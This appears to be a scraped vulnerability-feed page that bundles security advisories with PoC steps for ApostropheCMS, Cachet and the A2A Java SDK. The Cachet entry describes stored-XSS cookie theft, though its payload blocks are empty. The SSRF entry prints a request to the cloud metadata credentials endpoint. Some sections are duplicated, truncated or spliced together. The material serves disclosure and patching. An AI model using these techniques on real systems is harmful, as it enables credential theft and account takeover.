* `start` returns HTTP 200 and an upload ID without authentication.
* `chunk` returns HTTP 200 and results in server-side chunk storage.
* `end` eventually reaches the downstream authentication check and is rejected.
* However, the server-side big-upload processing has already occurred before that authentication rejection.

In my isolated harness:

* `chunks=1` resulted in one cleanup removal attempt.
* `chunks=50` resulted in 50 cleanup removal attempts.

This demonstrates that the attacker-controlled chunk count directly influences server-side cleanup work.

## Security Impact

The vulnerability allows an unauthenticated remote attacker to cause server-side storage and filesystem operations that should only be reachable by authorized import users.

Possible consequences include:

* Consumption of upload and temporary storage.
* Creation of server-side upload state by unauthenticated users.
* Repeated filesystem I/O.
* Cleanup amplification based on attacker-controlled chunk counts.
* Potential service degradation or denial of service when the attack is repeated or sufficiently amplified.

## Root Cause

Authentication is enforced in the downstream import handler rather than before the chunked-upload middleware.

The middleware itself already supports an `authorize` callback specifically for preventing unauthorized use of the big-upload functionality.

## Suggested Remediation

Require authentication before any `aposBigUpload` operation is processed.

For example:

* Pass an appropriate `authorize` callback to `bigUploadMiddleware()` on all import routes.
* Reject unauthenticated users before `start`, `chunk`, or `end`.
* Enforce reasonable limits on declared chunk counts.
* Validate declared size against actual uploaded data.
* Introduce per-user and global storage/rate limits.
* Ensure temporary files are removed when downstream processing fails.
* Add regression tests confirming that anonymous `start`, `chunk`, and `end` requests are rejected before upload state or files are created.

Relevant reviewed commit:

`d3ff8c9bb001be1acf7fdc3f035190250ac64b45`

## Researcher Credit

**Kai Zhi**

GitHub:

**https://github.com/

Affected package ranges reported by GitHub:
apostrophe: < 4.33.0
@apostrophecms/import-export: < 3.7.0
Action: GitHub lists first patched versions: apostrophe: 4.33.0; @apostrophecms/import-export: 3.7.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cachet has Stored XSS in Incident Component
https://kevwire.com/record/CVE-2026-113712
Cachet has Stored XSS in Incident Component (Oct 20, 2026).
Affected endpoint: /dashboard/incidents/
Affected fields: Incident Name, Incident Message
Affected version: Cachet v3

1. Log in as an authenticated user
2. Navigate to /dashboard/incidents/
3. Create a new incident
4. Insert the following payloads in the Name and Message field:
CVSS 4.8 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-x397-5hrv-j9m9).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113712&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-x397-5hrv-j9m9: https://github.com/advisories/GHSA-x397-5hrv-j9m9
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113712&date=2026-10-25
### Summary
A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.

### Details
The incident Name and Message fields do not properly sanitize HTML event handler attributes. While tags appear to be filtered, event-based payloads are not blocked.

Affected endpoint: /dashboard/incidents/
Affected fields: Incident Name, Incident Message
Affected version: Cachet v3

### PoC

1. Log in as an authenticated user
2. Navigate to /dashboard/incidents/
3. Create a new incident
4. Insert the following payloads in the Name and Message field:

Payload 1 — Confirm XSS execution:
``` ```

Step 2 — Cookie/token exfiltration:
``` ```

Step 3 — Forced redirect to sensitive page:
``` ```

5. Save the incident
6. Navigate to the public status page
7. Payload executes in the victim's browser
### Payload 1 

### Payload 2

Stored XSS affecting all users who view the public status page.

An attacker can:
- Confirm script execution via alert popup
- Steal session cookies and XSRF tokens from authenticated users
- Silently redirect victims to sensitive pages like `/dashboard/manage-customization`

This vulnerability could lead to full account takeover of any user who views the status page, including administrators.

Affected package ranges reported by GitHub:
cachethq/cachet: <= 2.4.1
Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A2A Java SDK: Push notification credentials logged in cleartext on protobuf parse failure
https://kevwire.com/record/CVE-2026-111762
A2A Java SDK: Push notification credentials logged in cleartext on protobuf parse failure (Oct 20, 2026).
**Where.** `transport/rest/src/main/java/org/a2aproject/sdk/transport/rest/handler/RestHandler.java:676` in `parseRequestBody`

**What.** The `parseRequestBody` method logs the entire JSON request body at `SEVERE` level when `JsonFormat.parser().merge()` throws `InvalidProtocolBufferException`. This method is called from `createTaskPushNotificationConfiguration` (line 377), where the body contains client-supplied push notification bearer tokens (field `token`) and authentication credentials (field `authentication.credentials`). These secrets are written to server log files in full.
CVSS 5.7 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-x32g-jvvm-4725).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111762&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-x32g-jvvm-4725: https://github.com/advisories/GHSA-x32g-jvvm-4725
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111762&date=2026-10-25
### *Impact.** Push notification bearer tokens and authentication credentials submitted by clients are written to server log files in cleartext. Any operator, log aggregation system, or attacker with log access can read these secrets and use them to authenticate to the client's push notification endpoints, potentially sending forged task status updates.

**Where.** `transport/rest/src/main/java/org/a2aproject/sdk/transport/rest/handler/RestHandler.java:676` in `parseRequestBody`

**What.** The `parseRequestBody` method logs the entire JSON request body at `SEVERE` level when `JsonFormat.parser().merge()` throws `InvalidProtocolBufferException`. This method is called from `createTaskPushNotificationConfiguration` (line 377), where the body contains client-supplied push notification bearer tokens (field `token`) and authentication credentials (field `authentication.credentials`). These secrets are written to server log files in full.

**Exploit scenario.** A client creates a push notification configuration by POSTing to `/v1/tenants/{tenant}/tasks/{taskId}/pushNotificationConfigs` with a body containing `{"url": "https://client.example.com/webhook", "token": "secret-bearer-token", "authentication": {"scheme": "Bearer", "credentials": "oauth-access-token"}, "extraField": "value"}`. The extra field causes `JsonFormat.parser().merge()` to throw `InvalidProtocolBufferException`. The entire body including `secret-bearer-token` and `oauth-access-token` is logged at SEVERE level. An attacker with log access retrieves the cleartext credentials.

**Preconditions.**
- Attacker must have access to server log files (centralized logging, log aggregation, shared infrastructure, or insider access)
- Push notification capability must be enabled
- A request body must fail protobuf deserialization while being valid JSON (unknown fields with strict parsing, schema mismatches)

**Fix.** Do not log the raw request body. Log only a sanitized summary — body length and content type, not content. Replace the log call with something like: `log.log(Level.SEVERE, "Error parsing JSON request body (length={0})", body != null ? body.length() : 0)`.

**Verification.** 3/3 lens verifiers confirmed.

Affected package ranges reported by GitHub:
org.a2aproject.sdk:a2a-java-sdk-transport-rest: < 1.3.0.Final
Action: GitHub lists first patched versions: org.a2aproject.sdk:a2a-java-sdk-transport-rest: 1.3.0.Final. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A2A Java SDK: Android synchronous POST forwards credentials across authorities after incomplete redirect fix
https://kevwire.com/record/CVE-2026-111765
A2A Java SDK: Android synchronous POST forwards credentials across authorities after incomplete redirect fix (Oct 20, 2026).
The GHSA-9rhm fix added this safe setting in
AndroidA2AHttpClient.createConnection():

 connection.setInstanceFollowRedirects(false);
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111765).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111765&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-4fpj-g9jf-9rgg: https://github.com/advisories/GHSA-4fpj-g9jf-9rgg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-111765: https://nvd.nist.gov/vuln/detail/CVE-2026-111765
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111765&date=2026-10-25
The GHSA-9rhm fix added this safe setting in
AndroidA2AHttpClient.createConnection():

 connection.setInstanceFollowRedirects(false);

The synchronous POST builder later overwrites it:

 private boolean followRedirects = true;

 public A2AHttpResponse post() throws IOException {
 HttpURLConnection connection = createConnection("POST", false);
 connection.setInstanceFollowRedirects(followRedirects);
 // ...
 }

The second assignment wins. JSONRPCTransport and RestTransport both
add interceptor-produced headers and call synchronous post() without
setting followRedirects(false).

On Android's repackaged OkHttp implementation, a cross-authority
redirect strips Authorization but retains nonstandard request headers.
AuthInterceptor permits four nonstandard authentication header names:

 X-API-Key
 API-Key
 X-Auth-Token
 X-Authentication

I confirmed that the exact v1.3.1.Final Maven artifact forwards
complete synthetic values under all four names to a second loopback
authority. I also reproduced the supported AuthInterceptor to Android
POST path. Explicitly calling followRedirects(false) returns the
original 302 and produces no request to the collector.

All test traffic stayed on two ephemeral 127.0.0.1 listeners. All
credentials were synthetic FULCRUM-SYNTHETIC-* values.

Reproduction

I have attached AndroidA2AHttpClientRedirectTest.java. Copy it to:

 extras/http-client-android/src/test/java/org/a2aproject/sdk/client/http/android/

Run:

 mvn -pl extras/http-client-android -am \
 -Dtest=AndroidA2AHttpClientRedirectTest \
 -Dsurefire.failIfNoSpecifiedTests=false test

On unpatched current main, the default test fails with:

 Android synchronous POST must retain the documented no-redirect default
 expected: but was: 

The explicit followRedirects(true) control still passes.

The separate exact-artifact fixture passed three consecutive runs. Its
relevant output was:

 default status=200 x-api-key=FULCRUM-SYNTHETIC-DIRECT
authorization=null method=GET
 control-followRedirects-false status=302 collectorHits=0
 interceptor-chain status=200
x-api-key=FULCRUM-SYNTHETIC-INTERCEPTOR collectorHits=1
 header-matrix name=X-API-Key forwarded=FULCRUM-SYNTHETIC-X-API-Key
 header-matrix name=API-Key forwarded=FULCRUM-SYNTHETIC-API-Key
 header-matrix name=X-Auth-Token forwarded=FULCRUM-SYNTHETIC-X-Auth-Token
 header-matrix name=X-Authentication
forwarded=FULCRUM-SYNTHETIC-X-Authentication

Impact and limitations

The demonstrated impact is disclosure of a complete API key or
authentication token to a different authority. I am not claiming
subsequent use of the credential, integrity impact, availability
impact, code execution, or host compromise.

A fully malicious origin already receives the credential on the first
request. The additional boundary matters most when redirect or
front-door behavior is compromised separately from the component that
handles request credentials, or when different parts of the origin
operate in different trust domains.

The 7.5 score applies to an autonomous client where no human action is
needed after the remote endpoint returns the redirect. If the Android
workflow requires a person to select or invoke the remote agent, UI:R
gives a 6.5 score. I have kept both vectors because that deployment
detail affects severity but not the underlying behavior. These are
suggested scores, consistent with the policy's statement that actual
CVSS depends on the specific deployment context. The same policy
labels the parent credential-redirect property as moderate.

Scope and prior art

This path appears to fall directly under the project's current security model:

1. extras/http-client-android and the client transports are listed as in scope.
2. Remote AgentCard and response data are treated as attacker-relevant inputs.
3. A malicious or compromised remote agent is part of the client-side
adversary model.
4. Section 8 says automatic redirects are disabled in all JDK, Vert.x,
and Android implementations to prevent credential leakage.
5. Section 13 defines a violation of a Section 8 property through the
covered input and adversary as VALID.
6. Section 13a lists missed call sites and under-strength mitigations
as new findings after an incomplete fix.
7. Section 14 records the original issue as fixed by disabling
redirects across all HTTP client implementations. The Android
synchronous path directly contradicts that recorded repair state.

This report does not claim that an AgentCard SecurityScheme
declaration enforces authentication. The application has already
configured the credential, and the shipped AuthInterceptor places it
in an allowed header. The failure is the Android client's default
redirect behavior after that point. It does not depend on a custom
SPI, an insecure configuration flag, a test-only component,
server-side authentication, or any of the recurring non-findings
listed in Section 11a.

GHSA-9rhm is the direct parent finding. Its fix commit says redirects
were disabled across all clients, but the Android POST-level override
remains in 1.3.0.Final, 1.3.1.Final, and current main. I searched the
public issues and pull requests on September 5 and found PR #1097, but
no report covering this surviving synchronous Android path. The other
three published advisories address server authorization defaults,
push-notification SSRF, and credential logging. They do not cover this
Android client path.

Suggested fix

The smallest compatible change is:

 - private boolean followRedirects = true;
 + private boolean followRedirects = false;

This keeps followRedirects(true) available as an explicit opt-in. The
attached regression passes three out of three times after the change.
The Android module and its reactor dependencies pass 455 tests with no
failures. The full repository test run passes 2,914 tests with no
failures or errors. It reports 127 skips when using the project's
documented -DskipDockerTests=true option inside the isolated build
container.

References

Security property:
https://git

Affected package ranges reported by GitHub:
org.a2aproject.sdk:a2a-java-sdk-http-client-android: >= 1.3.0.Final, <= 1.3.1.Final
Action: GitHub lists first patched versions: org.a2aproject.sdk:a2a-java-sdk-http-client-android: 1.3.2.Final. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A2A Java SDK has Server-Side Request Forgery (SSRF) in push-notification delivery
https://kevwire.com/record/CVE-2026-111761
A2A Java SDK has Server-Side Request Forgery (SSRF) in push-notification delivery (Oct 20, 2026).
---

- **Ecosystem:** Maven
- **Affected package:** `org.a2aproject.sdk:a2a-java-sdk-server-common` (push-notification delivery)
- **Affected versions:** ` /latest/meta-data/iam/security-credentials/`. Use
 `returnImmediately: true`, header `A2A-Version: 1.0`, and role `ROLE_USER`. The URL is stored
 verbatim. (Equivalent via `CreateTaskPushNotificationConfig` on an existing task.)
3. As the task emits state/artifact updates, the sender POSTs each one to the stored URL, from the
 server's own network position:
CVSS 5.8 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-q78c-5jjq-57g8).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111761&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-q78c-5jjq-57g8: https://github.com/advisories/GHSA-q78c-5jjq-57g8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111761&date=2026-10-25
---

- **Ecosystem:** Maven
- **Affected package:** `org.a2aproject.sdk:a2a-java-sdk-server-common` (push-notification delivery)
- **Affected versions:** ` /latest/meta-data/iam/security-credentials/`. Use
 `returnImmediately: true`, header `A2A-Version: 1.0`, and role `ROLE_USER`. The URL is stored
 verbatim. (Equivalent via `CreateTaskPushNotificationConfig` on an existing task.)
3. As the task emits state/artifact updates, the sender POSTs each one to the stored URL, from the
 server's own network position:

 ```
 POST /latest/meta-data/iam/security-credentials/ HTTP/1.1
 Host: 169.254.169.254
 Content-Type: application/json

 {"artifactUpdate":{"taskId":"...","artifact":{"parts":[{"text":"Progress update 1/20"}]}, ...}}
 ```

One `SendMessage` produced multiple server-side POSTs to the attacker-chosen internal path.
Verified on `main` (commit `72d220c`, JDK 21) and unchanged on `1.2.0.Final`.

## Remediation

Validate the *resolved* IP of the target and of every redirect hop before connecting: reject
loopback / RFC1918 / link-local / metadata / unique-local / unspecified / multicast; restrict the
scheme to `http`/`https`; cap redirects; and resolve-and-pin to defeat DNS rebinding. Enable by
default, with a documented opt-out for deployments that intentionally target internal webhooks. The
Go A2A SDK ships a dial-time resolved-IP guard of this shape by default.

**Workaround:** until a fixed release, block the host's outbound egress to the metadata endpoint
and internal ranges at the network layer.

## References

- CWE-918: Server-Side Request Forgery: https://cwe.mitre.org/data/definitions/918.html

Affected package ranges reported by GitHub:
org.a2aproject.sdk:a2a-java-sdk-server-common: < 1.3.0.Final
Action: GitHub lists first patched versions: org.a2aproject.sdk:a2a-java-sdk-server-common: 1.3.0.Final. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A2A Java SDK has a fail-open default task authorization
https://kevwire.com/record/CVE-2026-111764
A2A Java SDK has a fail-open default task authorization (Oct 20, 2026).
Draft text for GHSA-qw47-mcm5-934w. The body below drops into the GitHub advisory description
field; the metadata block maps to the form fields. Set the patched version at release; publish
when the fix ships._

---
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-qw47-mcm5-934w).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111764&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-qw47-mcm5-934w: https://github.com/advisories/GHSA-qw47-mcm5-934w
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-111764: https://nvd.nist.gov/vuln/detail/CVE-2026-111764
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111764&date=2026-10-25
Draft text for GHSA-qw47-mcm5-934w. The body below drops into the GitHub advisory description
field; the metadata block maps to the form fields. Set the patched version at release; publish
when the fix ships._

---

- **Ecosystem:** Maven
- **Affected package:** `org.a2aproject.sdk:a2a-java-sdk-server-common` (task store / authorization)
- **Affected versions:** `<= 1.2.0.Final` (and `1.2.1.Final-SNAPSHOT` on `main` prior to the fix)
- **Patched version:** _(the release that carries the fix, e.g. 1.2.1.Final)_
- **CWE:** CWE-1188 (Insecure Default Initialization), CWE-862 (Missing Authorization)
- **Severity:** High
- **CVSS v3.1:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` (7.5, High)

---

## Details

The default task store performs no authorization on task reads. `InMemoryTaskStore`'s no-arg
constructor sets `authorizationProvider = null`, and `InMemoryTaskStore.get(String taskId)` is a
bare map lookup with no authorization check regardless of provider:

```java
public InMemoryTaskStore() {
 this.authorizationProvider = null; // default wiring
}

@Override
public @Nullable Task get(String taskId) {
 return tasks.get(taskId); // no owner / caller check
}
```

Authorization is enforced only when the application both supplies a `TaskAuthorizationProvider`
*and* routes requests through `AuthorizationRequestHandlerDecorator` (via CDI), which checks
ownership before delegating. A server that uses the default store, or wires
`DefaultRequestHandler.builder().build()` manually, or integrates through a non-CDI stack (e.g.
Spring), never reaches that check. The safe posture is therefore opt-in and the shipped default is
the unsafe one. A caller can read a task created by another caller simply by knowing or guessing
its id.

## Summary

With the SDK's default configuration, task reads are not authorized: any caller can retrieve a
task (including its status, context, message history, and artifacts) created by another caller,
by supplying the task id.

## PoC

Using only the real production classes wired the default way (no mocks):

1. Construct the default store: `InMemoryTaskStore store = new InMemoryTaskStore();` (no-arg
 constructor, so no authorization provider).
2. As one caller, save a task: `store.save(victimTask, false);` with id `victim-task-42`.
3. As a second, unrelated caller with no auth context, read it back: `store.get("victim-task-42")`.

The second caller receives the first caller's task in full, with no authorization check:

```
unauthenticated get(victim-task-42) returned task owned by nobody-checked: victim-task-42 / ctx=victim-ctx
```

Verified on `main` (commit `72d220c`, JDK 21) and reproduces unchanged on `1.2.0.Final`.

## Impact

Task data crosses caller boundaries with no authorization. In any multi-caller deployment built on
the default wiring, one caller can enumerate and read another caller's tasks, including task status,
context id, the message history, and any artifacts the task carries, which for agent workloads is
frequently sensitive input and generated content. Because the insecure behaviour is the default
rather than a misconfiguration, it is easy to ship unintentionally, and in the default/reference
deployment the transport endpoints are served without authentication enforced, so the read is
reachable by an unauthenticated caller (`PR:N`). CVSS is scored against the default configuration
as shipped.

## Remediation

Fail closed by default: deny task reads when no authorization provider is configured, rather than
treating a missing provider as allow-all, and apply the authorization check in the store's `get`
path (not only in `list` and the CDI decorator) so it holds regardless of how the handler is
wired. If the current permissive default is retained for single-user/testing scenarios, emit a
prominent startup warning when the server comes up with no authorization provider so it cannot be
shipped by accident.

## Workarounds

Until a fixed release, configure a `TaskAuthorizationProvider` and ensure requests are routed
through the authorization decorator (CDI wiring), rather than relying on the default no-arg store
or a manually built handler.

## References

- CWE-1188: Insecure Default Initialization of Resource: https://cwe.mitre.org/data/definitions/1188.html
- CWE-862: Missing Authorization: https://cwe.mitre.org/data/definitions/862.html

Affected package ranges reported by GitHub:
org.a2aproject.sdk:a2a-java-sdk-server-common: < 1.3.0.Final
Action: GitHub lists first patched versions: org.a2aproject.sdk:a2a-java-sdk-server-common: 1.3.0.Final. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A2A Java SDK send client credentials under server-controlled HTTP header name, enabling leakage via redirect
https://kevwire.com/record/CVE-2026-111763
A2A Java SDK send client credentials under server-controlled HTTP header name, enabling leakage via redirect (Oct 20, 2026).
